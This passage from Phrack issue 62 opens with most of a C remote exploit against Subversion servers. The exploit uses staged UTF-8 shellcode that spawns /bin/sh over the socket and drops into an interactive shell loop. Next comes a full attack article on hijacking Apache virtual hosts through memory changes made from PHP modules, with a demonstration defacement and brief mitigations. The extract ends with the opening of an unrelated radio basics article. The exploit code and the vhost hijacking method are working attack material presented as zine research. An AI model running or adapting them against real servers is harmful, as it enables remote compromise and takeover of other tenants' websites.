* read(2) on the socket. The exploit then sends the second stage * loader to the server, which can be of any length (up to the

* obvious limits, of course). This second stage loader spawns

* /bin/sh on the server and connects it to the socket‑fd.

*

* Credits:

* void.at

*

* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF‑OF‑CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR

* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.

*

***************************************

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <stdio.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <netdb.h>

enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stage1loader[]=

// begin socket fd search

"\x31\xdb" // xor %ebx, %ebx

"\x90" // nop (UTF‑8)

"\x53" // push %ebx

"\x58" // pop %eax

"\x50" // push %eax

"\x5f" // pop %edi # %eax = %ebx = %edi = 0

"\x2c\x40" // sub $0x40, %al

"\x50" // push %eax

"\x5b" // pop %ebx

"\x50" // push %eax

"\x5a" // pop %edx # %ebx = %edx = 0xC0

"\x57" // push %edi

"\x57" // push %edi # safety‑0

"\x54" // push %esp

"\x59" // pop %ecx # %ecx = pointer to the buffer

"\x4b" // dec %ebx # beginloop:

"\x57" // push %edi

"\x58" // pop %eax # clear %eax

"\xd6" // salc (UTF‑8)

"\xb0\x60" // movb $0x60, %al

"\x2c\x44" // sub $0x44, %al # %eax = 0x1C

"\xcd\x80" // int $0x80 # fstat(i, &stat)

"\x58" // pop %eax

"\x58" // pop %eax

"\x50" // push %eax

"\x50" // push %eax

"\x38\xd4" // cmp %dl, %ah # uppermost 2 bits of st_mode set?

"\x90" // nop (UTF‑8)

"\x72\xed" // jb beginloop

"\x90" // nop (UTF‑8)

"\x90" // nop (UTF‑8) # %ebx now contains the socket fd

// begin read(2)

"\x57" // push %edi

"\x58" // pop %eax # zero %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax # %eax=3

//"\x54" // push %esp

//"\x59" // pop %ecx # %ecx ... address of buffer

//"\x54" // push %edi

//"\x5a" // pop %edx # %edx ... bufferlen (0xC0)

"\xcd\x80" // int $0x80 # read(2) second stage loader

"\x39\xc7" // cmp %eax, %edi

"\x90" // nop (UTF‑8)

"\x7f\xf3" // jg startover

"\x90" // nop (UTF‑8)

"\x90" // nop (UTF‑8)

"\x90" // nop (UTF‑8)

"\x54" // push %esp

"\xc3" // ret # execute second stage loader

"\x90" // nop (UTF‑8)

"\0" // %ebx still contains the fd we can use in the 2nd stage loader.

;

char stage2loader[]=

// dup2 ‑ %ebx contains the fd

"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax

"\xb9\x00\x00\x00\x00" // mov $0x0, %ecx

"\xcd\x80" // int $0x80

"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax

"\xb9\x01\x00\x00\x00" // mov $0x1, %ecx

"\xcd\x80" // int $0x80

"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax

"\xb9\x02\x00\x00\x00" // mov $0x2, %ecx

"\xcd\x80" // int $0x80

// start /bin/sh

"\x31\xd2" // xor %edx, %edx

"\x52" // push %edx

"\x68\x6e\x2f\x73\x68" // push $0x68732f6e

"\x68\x2f\x2f\x62\x69" // push $0x69622f2f

"\x89\xe3" // mov %esp, %ebx

"\x52" // push %edx

"\x53" // push %ebx

"\x89\xe1" // mov %esp, %ecx

"\xb8\x0b\x00\x00\x00" // mov $0xb, %eax

"\xcd\x80" // int $0x80

"\xb8\x01\x00\x00\x00" // mov $0x1, %eax

"\xcd\x80" // int %0x80 (exit)

;

int stage2loaderlen=69;

char requestfmt[]=

"REPORT %s HTTP/1.1\n"

"Host: %s\n"

"User‑Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"

"Content‑Length: %d\n"

"Content‑Type: text/xml\n"

"Connection: close\n\n"

"%s\n";

char xmlreqfmt[]=

"<?xml version=\"1.0\" encoding=\"utf‑8\"?>"

"<S:dated‑rev‑report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">" "<D:creationdate>%s%c%c%c%c</D:creationdate>" "</S:dated‑rev‑report>";

int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000]) {

char *ptr;

char bfr[1000];

ptr=strstr(uri,"://");

if(!ptr) return ‑1;

*ptr=0;

snprintf(bfr,sizeof(bfr),"%s",uri);

if(!strcmp(bfr,"http"))

*proto=HTTP, *port=80;

else if(!strcmp(bfr,"svn"))

*proto=SVN, *port=3690;

else

{

printf("Unsupported protocol %s\n",bfr);

return ‑1;

}

uri=ptr+3;

if((ptr=strchr(uri,':')))

{

*ptr=0;

snprintf(host,1000,"%s",uri);

uri=ptr+1;

if((ptr=strchr(uri,'/'))==NULL) return ‑1;

*ptr=0;

snprintf(bfr,1000,"%s",uri); *port=(int)strtol(bfr,NULL,10);

*ptr='/';

uri=ptr;

}

else if((ptr=strchr(uri,'/')))

{

*ptr=0;

snprintf(host,1000,"%s",uri);

*ptr='/';

uri=ptr;

}

snprintf(repos,1000,"%s",uri);

return 0;

}

int exec_sh(int sockfd)

{

char snd[4096],rcv[4096];

fd_set rset;

while(1)

{

FD_ZERO(&rset);

FD_SET(fileno(stdin),&rset);

FD_SET(sockfd,&rset);

select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset))

{

memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd));

}

if(FD_ISSET(sockfd,&rset))

{

memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0)

exit(0);

fputs(rcv,stdout);

}

}

}

int main(int argc, char **argv)

{

int sock, port;

size_t size;

char cmd[1000], reply[1000], buffer[1000];

char svdcmdline[1000];

char host[1000], repos[1000], *ptr, *caddr;

unsigned long addr;

struct sockaddr_in sin;

struct hostent *he;

enum protocol proto;

/*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);

write(sock,stage1loader,strlen(stage1loader));

close(sock);

return 0;*/

printf("hoagie_subversion ‑ remote exploit against subversion servers\n" "by greuff@void.at\n\n");

if(argc!=3)

{

printf("Usage: %s serverurl offset\n\n",argv[0]); printf("Examples:\n"

" %s svn://localhost/repository 0x41414141\n"

" %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);

printf("The offset is an alphanumeric address (or UTF‑8 to be\n" "more precise) of a pop instruction, followed by a ret.\n" "Brute force when in doubt.\n\n");

printf("When exploiting against an svn://‑url, you can supply a\n"

"binary offset too.\n\n");

exit(1);

}

// parse the URI

snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]); if(parse_uri(argv[1],&proto,host,&port,repos)<0)

{

printf("URI parse error\n");

exit(1);

}

printf("parse_uri result:\n"

"Protocol: %d\n"

"Host: %s\n"

"Port: %d\n"

"Repository: %s\n\n",proto,host,port,repos); addr=strtoul(argv[2],NULL,16);

caddr=(char *)&addr;

printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock<0)

{

perror("socket");

return ‑1;

}

he=gethostbyname(host);

if(he==NULL)

{

herror("gethostbyname");

return ‑1;

}

sin.sin_family=AF_INET;

sin.sin_port=htons(port);

memcpy(&sin.sin_addr.s_addr,he‑>h_addr,sizeof(he‑>h_addr)); if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)

{

perror("connect");

return ‑1;

}

if(proto==SVN)

{

size=read(sock,reply,sizeof(reply));

reply[size]=0;

printf("Server said: %s\n",reply); snprintf(cmd,sizeof(cmd),"( 2 ( edit‑pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply));

reply[size]=0;

printf("Server said: %s\n",reply);

strcpy(cmd,"( ANONYMOUS ( 0: ) ) "); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply));

reply[size]=0;

printf("Server said: %s\n",reply); snprintf(cmd,sizeof(cmd),"( get‑dated‑rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader, caddr[0],caddr[1],caddr[2],caddr[3]); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply));

reply[size]=0;

printf("Server said: %s\n",reply);

}

else if(proto==HTTP)

{

// preparing the request...

snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader, caddr[0],caddr[1],caddr[2],caddr[3]); size=strlen(buffer); snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);

// now sending the request, immediately followed by the 2nd stage loader

printf("Sending:\n%s",cmd); write(sock,cmd,strlen(cmd));

sleep(1);

write(sock,stage2loader,stage2loaderlen);

}

// SHELL LOOP

printf("Entering shell loop...\n");

exec_sh(sock);

/*sleep(1);

close(sock);

printf("\nConnecting to the shell...\n"); exec_sh(connect_sh()); */

return 0;

}

‑ ‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑] 6. Considerations

Some thoughts about the whole topic.

‑ ‑‑‑] 6.1. Automated shellcode transformer

Perhaps it's possible to write an automated shellcode transformer that gets a shellcode and outputs the shellcode UTF‑8 compatible (similar to rix's alphanumeric shellcode compiler [4]), but it would be a challenge. Many decisions during the transformation process cannot be automated in my opinion. (By the way ‑ alphanumeric shellcode is of course valid UTF‑8! So if you want to save time and space it's not a problem, just use the alphanumeric shellcode compiler on your shellcode and use that!)

‑ ‑‑‑] 6.2. UTF‑8 in XML‑files

When you write UTF‑8 shellcode for the purpose of sending it in an XMLdocument, you'll have to care for a few more things. The bytes \x00 to \x08 are forbidden in XML, as well as the obvious characters like '<', '>' and so on. Don't forget that when you exploit your favourite XMLprocessing app!

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑] 7. Greetings, last words

andi@void.at (man, get a nick :))

soletario (the indoor snowboarder)

ReAction

all the other people who often helped me out

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[1] http://www.cl.cam.ac.uk/~mgk25/unicode.html

[2] http://www.unicode.org/versions/corrigendum1.html

[3] http://www.x86.org/secrets/opcodes/salc.htm

[4] http://www.phrack.org/show.php?p=57&a=15

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Attacking Apache Modules

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x10

|=‑=[ Attacking Apache with builtin Modules in Multihomed Environments ]=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Andi <andi@void.at> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Apache Memory Layout: Virtual Hosts

3 ‑ Get Virtual Hosts from Memory

4 ‑ Modify a Virtual Host

5 ‑ A sample attack

6 ‑ Add a new Virtual Host

7 ‑ Keep it up

8 ‑ Solution

9 ‑ References

A ‑ Appendix: The implementation

‑‑[ 1 ‑ Introduction

This paper will show a simple way to modify the memory layout from an Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as builtin Apache module to improve the web server performance. This method is of course much faster than loading external programs or extensions (i.e. running php in cgi mode). But on the other side this script runs in the same memory space as the apache process so you can easily change contents of memory.

There's one reason why all this stuff will work as good as it should. Apache holds 5 children in memory (per default). After a HTTP request the process will not be killed. Instead of exiting the current apache process after closing the connection the next request will be processed by the same process. So when you send a lot of requests to the apache server you can "infect" every process.

We use this attack technique to hijack a virtual host on server. I know, there are other methods to get control over the HTTP requests (using open file descriptors,...). But all other methods require at least one process running on the server that handles the HTTP requests and redirect them. This way of hijacking apache doesn't require another process because we change the memory of the apache process itself and so it works normal as before.

This attack technique requires access to an account on a webserver which hosts at least two sites (else it wouldnt make any sense). You can't exploit Apache without your own php script on that server (well perhaps there are some "Remote Include" vulnerabilities so you can run a script on the remote machine).

‑‑[ 2 ‑ Apache Memory Layout: Virtual Hosts

So when Apache recieves a HTTP request an object from type request_rec will be created. This object contains information about the HTTP request like the method which is used (GET, POST..), the HTTP protocol number etc. Now the correct list for the server ip will be looked up in the IP address hash table (iphash_table). The pointer from that list will be stored in the request object (variable vhost_lookup_data). After the headers from the HTTP request have been read Apache updates it's vhost status. It will use the vhost_lookup_data pointer to find the correct virtual host.

Apache uses internal lists for it's virtual hosts. To speed up search requests there is more than one list and a hash table for IP address lookups. The information about every virtual host is stored in an object from type server_rec.

[apache_1.3.29/src/include/httpd.h]

...

struct server_rec {

server_rec *next;

...

/* Contact information */

char *server_admin;

char *server_hostname;

unsigned short port; /* for redirects, etc. */

...

char *path; /* Pathname for ServerPath */

int pathlen; /* Length of path */

array_header *names; /* Normal names for ServerAlias servers */

array_header *wild_names;/* Wildcarded names for ServerAlias servers */

uid_t server_uid; /* effective user id when calling exec wrapper */

gid_t server_gid; /* effective group id when calling exec wrapper */

};

As you can see there are many interesting values we would like to change. Imagine you are running a virtual host on the same web server as http://www.evil.com. So you simply have to look for that virtual host and

change the variables.

So we know where Apache stores the virtual host information. Now we have to find the list and structures that points to those server_rec objects. Lets have a look where Apache initializes its virtual hosts.

[apache_1.3.29/src/main/http_vhost.c]

...

/* called at the beginning of the config */

API_EXPORT(void) ap_init_vhost_config(pool *p)

{

memset(iphash_table, 0, sizeof(iphash_table)); default_list = NULL;

name_vhost_list = NULL;

name_vhost_list_tail = &name_vhost_list;

}

...

As you can see there are two lists and one hash table. The hash table is used for IP address lookups. The default_list contains _default_ server entries and name_vhost_list contains all other virtual hosts. The objects from the hash table have the following structure:

struct ipaddr_chain {

ipaddr_chain *next;

server_addr_rec *sar; /* the record causing it to be in

* this chain (need for both ip addr and port

* comparisons) */

server_rec *server; /* the server to use if this matches */

name_chain *names; /* if non‑NULL then a list of name‑vhosts

* sharing this address */

};

Then you have a list of virtual hosts names poiting to that IP address (name_chain *names). And from that structure we can directly access the virtual host data:

struct name_chain {

name_chain *next;

server_addr_rec *sar; /* the record causing it to be in

* this chain (needed for port comparisons) */

server_rec *server; /* the server to use on a match */

};

So the following code will find the correct vhost (variable host): ...

for (i = 0; i < IPHASH_TABLE_SIZE; i++) {

for (trav = iphash_table[i]; trav; trav = trav‑>next) { for (n = trav‑>names; n != NULL; n = n‑>next) { conf = ap_get_module_config(n‑>server‑>module_config,

core_module);

if ( (host != NULL && !strcmp(host, n‑>server‑>server_hostname)) || host == NULL ){

php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",

n‑>sar‑>virthost,

n‑>server‑>server_admin,

n‑>server‑>server_hostname,

conf‑>ap_document_root);

}

}

}

}

...

‑‑[ 3 ‑ Get Virtual Hosts from Memory

If we want to change the characteristics of virtual hosts we have to know where Apache stores the lists in memory. Apache initialize this list before reading the config file. This is done in the ap_init_vhost_config() function.

[apache_1.3.29/src/main/http_vhost.c]

...

/* called at the beginning of the config */

API_EXPORT(void) ap_init_vhost_config(pool *p)

{

memset(iphash_table, 0, sizeof(iphash_table)); <‑‑‑‑ Yes, thats great default_list = NULL;

name_vhost_list = NULL;

name_vhost_list_tail = &name_vhost_list;

}

...

So there are many ways to get the address of iphash_table. You can use gdb, nm (when not stripped),..

andi@blackbull:~$ gdb /usr/sbin/apache

GNU gdb 2002‑04‑01‑cvs

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386‑linux"...(no debugging symbols found)... (gdb) disass ap_init_vhost_config

Dump of assembler code for function ap_init_vhost_config: 0x080830e0 <ap_init_vhost_config+0>: push %ebp

0x080830e1 <ap_init_vhost_config+1>: mov %esp,%ebp 0x080830e3 <ap_init_vhost_config+3>: sub $0x8,%esp 0x080830e6 <ap_init_vhost_config+6>: add $0xfffffffc,%esp 0x080830e9 <ap_init_vhost_config+9>: push $0x400

0x080830ee <ap_init_vhost_config+14>: push $0x0

0x080830f0 <ap_init_vhost_config+16>: push $0x80ceec0

address of iphash_table

0x080830f5 <ap_init_vhost_config+21>: call 0x804f858 <memset> 0x080830fa <ap_init_vhost_config+26>: add $0x10,%esp 0x080830fd <ap_init_vhost_config+29>: movl $0x0,0x80cf2c0 0x08083107 <ap_init_vhost_config+39>: movl $0x0,0x80cf2c4 0x08083111 <ap_init_vhost_config+49>: movl $0x80cf2c4,0x80cf2c8 0x0808311b <ap_init_vhost_config+59>: leave

0x0808311c <ap_init_vhost_config+60>: ret

0x0808311d <ap_init_vhost_config+61>: lea 0x0(%esi),%esi

End of assembler dump.

If you dont have access to the apache binary you have to use another method: In hoagie_apachephp.c there are some external defintions of apache functions.

...

/* some external defintions to get address locations from memory */

extern API_EXPORT(void) ap_init_vhost_config(pool *p);

extern API_VAR_EXPORT module core_module;

...

So inside our module we already have the address for this functions and can use the integrated disassembler to get the addresses.

iphash_table =

(ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);

default_list =

(ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);

And now its very easy to change any vhost data.

NOTE: It depends on your compiler and compiler version which mov or push call returns the correct address. So you can also use the integrated disassembler to print the assembler code on your webpage.

‑‑[ 5 ‑ A sample attack

Imagine the following situtation:

There are three directories (for each virtual host one) and three index.html files. Lets have a look at the content:

andi@blowfish:/home$ ls ‑al hack1/ vhost1/ vhost2/

hack1/:

total 16

drwxr‑sr‑x 2 andi andi 4096 Apr 25 03:33 .

drwxrwsr‑x 7 root staff 4096 Apr 25 03:00 .. ‑rw‑r‑‑r‑‑ 1 root staff 20 Apr 25 02:19 index.html

vhost1/:

total 332

drwxr‑sr‑x 2 andi andi 4096 May 6 14:20 .

drwxrwsr‑x 7 root staff 4096 Apr 25 03:00 .. ‑rw‑r‑‑r‑‑ 1 andi andi 905 May 6 14:21 hoagie_apache_php.php ‑rwxr‑xr‑x 1 andi andi 317265 May 6 14:25 hoagie_apache.so ‑rw‑r‑‑r‑‑ 1 root andi 15 Apr 25 02:18 index.html

vhost2/:

total 16

drwxr‑sr‑x 2 andi andi 4096 Apr 25 03:31 .

drwxrwsr‑x 7 root staff 4096 Apr 25 03:00 .. ‑rw‑r‑‑r‑‑ 1 root andi 15 Apr 25 02:18 index.html ‑rw‑r‑‑r‑‑ 1 andi andi 15 Apr 25 03:31 test.html andi@blowfish:/home$ cat hack1/index.html

hacked!!!!!

w0w0w0w

andi@blowfish:/home$ cat vhost1/index.html

www.vhost1.com

andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php

...

if (php_hoagie_loaddl()) { hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1"); } else {

php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);

}

...

andi@blowfish:/home$ cat vhost2/index.html

www.vhost2.com

andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf

...

<VirtualHost 172.16.0.123:8080>

ServerAdmin webmaster@vhost1.com

DocumentRoot /home/vhost1

ServerName www.vhost1.com

ErrorLog logs/www.vhost1.com‑error_log

CustomLog logs/www.vhost1.com‑access_log common

</VirtualHost>

<VirtualHost 172.16.0.123:8080>

ServerAdmin webmaster@vhost1.com

DocumentRoot /home/vhost2

ServerName www.vhost2.com

ErrorLog logs/www.vhost2.com‑error_log

CustomLog logs/www.vhost2.com‑access_log common

</VirtualHost>

...

andi@blowfish:/home$

So, before the attack we send some http requests and look for the correct answer.

andi@blowfish:/home$ nc www.vhost1.com 8080

GET / HTTP/1.0

Host: www.vhost1.com

HTTP/1.1 200 OK

Date: Thu, 06 May 2004 12:52:58 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.6

Last‑Modified: Sun, 25 Apr 2004 00:18:38 GMT

ETag: "5a826‑f‑408b03de"

Accept‑Ranges: bytes

Content‑Length: 15

Connection: close

Content‑Type: text/html

www.vhost1.com

andi@blowfish:/home$ nc www.vhost2.com 8080

GET / HTTP/1.0

Host: www.vhost2.com

HTTP/1.1 200 OK

Date: Thu, 06 May 2004 12:53:06 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.6

Last‑Modified: Sun, 25 Apr 2004 00:18:46 GMT

ETag: "5a827‑f‑408b03e6"

Accept‑Ranges: bytes

Content‑Length: 15

Connection: close

Content‑Type: text/html

www.vhost2.com

andi@blowfish:/home$

So now lets start the attack...

andi@blowfish:/home$ /home/andi/bin/apache/bin/ab ‑n 200 ‑c 200 \ http://www.vhost1.com:8080/hoagie_apachephp.php

....

andi@blowfish:/home$ nc www.vhost2.com 8080

GET / HTTP/1.0

Host: www.vhost2.com

HTTP/1.1 200 OK

Date: Thu, 06 May 2004 12:56:27 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.6

Last‑Modified: Sun, 25 Apr 2004 00:19:57 GMT

ETag: "1bc99‑14‑408b042d"

Accept‑Ranges: bytes

Content‑Length: 20

Connection: close

Content‑Type: text/html

hacked!!!!!

w0w0w0w

andi@blowfish:/home$

‑‑[ 6 ‑ Add a new Virtual Host

Instead of changing a virtual host we can also add a new one.

We know that Apache uses iphash_table to lookup the correct virtual host corresponding to its IP address. So when we add a new virtual host we have to calculate the hash key first. This is done by the function hash_inaddr():

[apache_1.3.29/src/main/http_vhost.c]

...

static ap_inline unsigned hash_inaddr(unsigned key)

{

key ^= (key >> 16);

return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;

}

...

In most cases there's already an object of type name_chain (*names) because it's unusual that this IP address hasn't been used for another vhost too. So we go through the names list and add an object of type name_chain. Before we can add a new object or variable we need to get the value of pconf for ap_palloc(). ap_palloc is Apache's malloc function. It uses pools to decide where to store data. The address of pconf is used in ap_register_other_child().

Now we can create an object of type name_chain. Then we have to add a server_addr_rec object where IP address and port information are stored (its used for IP address lookups). After that the more important object will be added: server_rec. We have to set the server administrator, server email, module config, directory config etc. Look at hoagie_apachephp.c in function hoagie_addvhost():

...

/* allocate memory for new virtual host objects and it's sub objects */

nc = ap_palloc(pconf, sizeof(name_chain));

nc‑>next = NULL;

/* set IP address and port information */

nc‑>sar = ap_palloc(pconf, sizeof(server_addr_rec)); nc‑>sar‑>next = NULL;

nc‑>sar‑>host_addr.s_addr = ipaddr;

nc‑>sar‑>host_port = 8080;

nc‑>sar‑>virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1); strcpy(nc‑>sar‑>virthost, ipaddrstr);

...

Lets start apache bench again and infect the apache processes.

‑‑[ 7 ‑ Keep it up

Now we can infect apache processes that are running at the moment. But when there are many HTTP requests Apache creates also new processes that are not infected.

So what we do is we are redirecting the signal call for all running Apache processes. This is done by Runtime Process Infection (the .so way ;)). Therefore after each new connection all running apache processes will be infected too. For more details see [4]. But this can only be done when Apache is not started by root because after a setuid() call with old uid is not equal to new uid Linux clears the dumpable flag of that process. This flag must be set if you want to ptrace() this process.

‑‑[ 8 ‑ Solution?

The best solution would be something like a read‑only apache configuration in memory.

For PHP you can simply disable the "dl()" function or enable safe mode for all your virtual hosts. When you're using mod_perl too, you have to disable the whole dl() family functions (see DynaLoader). Generally you can say that every builtin Apache module is vulnerable to this kind of attack (when you can directly access memory locations). I implemented a proof of concept code for PHP and ModPerl because nowadays these script languages are running on most of the apache web servers.

‑‑[ 9 ‑ References

[1] Apache ‑ http://www.apache.org

[2] PHP ‑ http://www.php.net

[3] ModPerl ‑ http://www.modperl.org

[4] Runtime Process Infection ‑ http://www.phrack.org/show.php?p=59&a=8

‑‑[ A ‑ Appendix: The implementation

begin 644 hoagie_apache.tar.gz M'XL(`$0.VD```^P\:W?:2I+Y.OX5;=\S#A!,P/$C)TZRBPUQ..L':_!NLIF,

end

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Radio Hacking

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0b of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The basics of Radio ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ shaun2k2 <shaun at rsc dot cx> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

0 ‑ Introduction

0.1 ‑ Technical Terms

1 ‑ Radio Basics

1.1 ‑ Radio Waves

1.2 ‑ Carrier

1.3 ‑ (RF) Frequency Bands

1.4 ‑ Wavelength

1.5 ‑ Transmission

1.6 ‑ Receiving

2 ‑ AM Radio

2.1 ‑ What is AM Radio?

2.2 ‑ Modulation

2.3 ‑ Demodulation

2.4 ‑ Circuits

2.4.1 ‑ Receivers

2.4.2 ‑ Transmitters

3 ‑ FM Radio

3.1 ‑ What is FM radio?

3.2 ‑ Modulation

3.3 ‑ Demodulation

3.4 ‑ Circuits

4 ‑ Misc

4.1 ‑ Pirate Radio

4.2 ‑ Wireless Telephone Tapping

4.3 ‑ Jamming

5 ‑ Conclusion

6 ‑ Bibliography

‑‑[ 0 ‑ Introduction

Ever since our discovery of radio, in around 1902, we have proceeded to utilise it for many different purposes ‑‑ from sending others short messages, to transmitting large and critical data sequences to other computer systems. As time has gone on, as useful a technology as radio is, it is barely noticed anymore. When most people think of 'radio', they picture a small black device sitting in their car, which they will use to listen to their local radio stations during car journeys. On the other hand, very few people realise the true usefullness of radio, often forgetting that their cellphones, televisions, satellite TV and alarm systems all too use radio to complete their task on a very regular medium ‑‑ radio is not just that boring old thing gathering dust in the corner.

This article is divided up into four parts. The first part describes the basic theory of radio, and examples to illustrate some of the common day uses of it. In parts two and three, AM and FM radio details are outlined showing various different circuits to illustrate how these principles can be applied to real‑life, functioning circuits. Section four is a misc. section, presenting some miscellaneous interesting points. Some electronics knowledge is useful in radio, though not totally necessary. Most circuits presented here are quite rough, and can be greatly improved upon in many ways.

‑‑‑‑[ 0.1 ‑ Technical Terms

Below is a description of technical terms used throughout the article:

RF ‑‑ Any frequency within the radio spectrum, which can be used by to transmit and receive radio signals.

Modulation ‑‑ A technique used to package data into a radio signal which is of use to the destination radio receiver.

AM ‑‑ Amplitude Modulation. This involves shifting the amplitude of a radio signal's carrier very slightly in sympathy with a modulating signal.

FM ‑‑ Frequency Modulation. FM modulation involves shifting the frequency of a radio wave's carrier very slightly in sympathy with a modulating signal.

Receiver ‑‑ Any device which is capable of receiving radio signals sent by a radio transmitter.

Transmitter ‑‑ A device which can transmit radio waves into the surrounding environment.

Aerial ‑‑ A medium to large piece of wire which is used by either a radio transmitter or receiver to propagate or detect an incoming radio signal. In a radio receiver or transmitter, an aerial acts as one plate of a capacitor, whilst the other plate is taken place by the Earth.

Antenna ‑‑ See aerial.

Wireless ‑‑ Refers to any technology which communicates data without the need for a wired connection. Most wireless devices, such as cell phones, televisions, and others use radio, but several do use technologies such as infrared, which is not covered here.

Radio wave ‑‑ A radio wave is an 'electromagnetic' wave, most commonly containing data to be received by a remote radio receiver.

Oscillator ‑‑ Refers to an electronic circuit which 'oscillates', or 'vibrates', to complete a certain task. Oscillators are used in radio to transmit radio waves at a given frequency ‑‑ the rate at which the oscillator oscillates is the RF (see RF) at which the wave is transmitted. Common oscillator circuits, also used in this paper, are LC oscillator circuits, and crystal‑controlled oscillators.

Crystal‑controlled

oscillator ‑‑ An oscillator circuit whos oscillation frequency is controlled by a 'crystal'. See oscillator.

LCoscillator ‑‑ An oscillator consisting of a capacitor and an inductor, whos frequency of oscillation is controlled directly by the capacitor, which is usually variable. See oscillator.

Capacitor ‑‑ Device which stores current as an electrical field.

Broadcast ‑‑ A term used to describe transmitting radio waves into the atmosphere.

Wavelength ‑‑ The physical distance between two waves on the same frequency, transmitted successively.

Bands ‑‑ Frequency Bands are a range of frequencies used interchangeably or commonly for the same type of technology. For example, televisions often use the VHF band.

Frequency ‑‑ Number of cycles per seconds. Frequency can be used to describe how often an oscillator oscillates.

Sidebands ‑‑ When modulation of a carrier is applied, two extra bands are generated, both slightly higher and lower than the carrier frequency, equating from the 'sum and difference' of the carrier and audio frequency. These two bands appear at either end of the RF carrier, hence the term 'sidebands'.

‑‑[ 1 ‑ Radio Basics

‑‑‑‑[ 1.1 ‑ Radio Waves

Radio waves, otherwise referred to as 'radio signals', are simply electromagnetic waves. Radio waves are transmitted by devices called 'radio transmitters' or 'transmitters' for short. Despite our wide and many uses for radio waves as a whole, we actually known very little about 'radio'. We do know, however, that radio waves are a form of energy, which act exactly like they have been propagated as any other type of wave we know of. For example, an audio wave.

Radio waves are made up of three things; an electric field, a direction, and a magnetic field.

